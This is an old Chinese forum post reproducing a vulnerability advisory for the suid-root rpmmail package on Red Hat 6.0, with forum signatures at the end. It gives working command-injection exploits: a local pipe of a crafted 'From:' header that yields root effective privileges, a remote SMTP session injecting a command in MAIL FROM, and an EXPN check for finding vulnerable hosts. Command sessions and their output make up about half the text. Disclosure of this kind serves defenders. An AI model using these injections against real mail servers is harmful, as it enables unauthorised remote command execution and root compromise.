Red Hat 6.0最新rpmmail本地/远程漏洞
在Red Hat 6.0的附加CD中，有一个软件包，叫作rpmmail package。安装后的
rpmmail存在严重的ROOT级
的漏洞。此漏洞可能会使远程/本地的普通用户获得ROOT权，或以"nobody"身份远
程执行任意指令。
给rpmmail@vulnerablehost发送一封e-mail，可以使/home/rpmmail/rpmmai
l (默认设置为suid root,能
由.forward远程执行)向system(3)执行任何你所希望的指令。指令的执行并不一
定需要ROOT权限，因为bash's
handling of euid != uid of caller。虽然system(3)调用/bin/sh -c，但在某
些linux系统的默认设置下，
比如SuSE 6.2，其被联结至/bin/bash v2。从system(3)连机手册可知，此漏洞在
/bin/sh为bash version 2的
系统中无效，因为自bash version 2开始，/bin/sh在启动时，取消了原来所具有
的特殊权限。因此，一些安
装了rpmmail的系统存在 远程/本地ROOT 漏洞。所有没有特殊权限others组的用
户都可以远程执行指令。
本地漏洞如下：
/bin/sh is linked to /bin/bash (default SuSE 6.2 behavior:
bash-2.03$ ls -la /bin/sh
lrwxrwxrwx 1 root root 9 Oct 5 11:27 /bin/sh -> /bin/bash
bash-2.03$ cat /etc/SuSE-release;uname -a;id
SuSE Linux 6.2 (i386)
VERSION = 6.2
Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown
uid=100(xnec) gid=100(users) groups=100(users)
bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c b
ah
Could not open config file!
sh: Y: command not found
uid=100(xnec) gid=100(users) groups=100(users)
Could not open acknowledge file!
bash-2.03$
----
After linking /bin/sh to /bin/ksh instead:
bash-2.03$ ls -la /bin/sh
lrwxrwxrwx 1 root root 8 Oct 5 11:09 /bin/sh -> /bin/ksh
bash-2.03$ cat /etc/SuSE-release;uname -a;id
SuSE Linux 6.2 (i386)
VERSION = 6.2
Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown
uid=100(xnec) gid=100(users) groups=100(users)
bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c b
ah
Could not open config file!
sh: Y: not found
uid=100(xnec) gid=100(users) euid=0(root) egid=0(root) groups=100(
users)
Could not open acknowledge file!
bash-2.03$
远程漏洞如下：
bash-2.03$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:
31:13 -0500
(CDT)
MAIL FROM: ;/command/to/execute;
250 <;/command/to/execute;> ... Sender Okay
RCPT TO: rpmmail
250 <rpmmail> ... Recipient Okay
data
354 Enter mail, end with "." on a line by itself
250 Mail accepted
quit
对有此项漏洞主机的确认非常简单，可以通过EXPN命令来校验.forward是否
存在:
220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:
38:44 -0500
(CDT)
EXPN rpmmail
250 "| /home/rpmmail/rpmmail -c /home/rpmmail/rpmmail.conf"
--
欢迎大家常来回合策略 宗教信仰坐坐。
欢迎光临魔法师学院http://wwwmagic.126.com
* * * * *
无挂碍故无有恐怖
--DOS--
※ 来源:．网易虚拟社区北京站 http://bj.netease.com．[FROM: 202.106.250.155]
|
|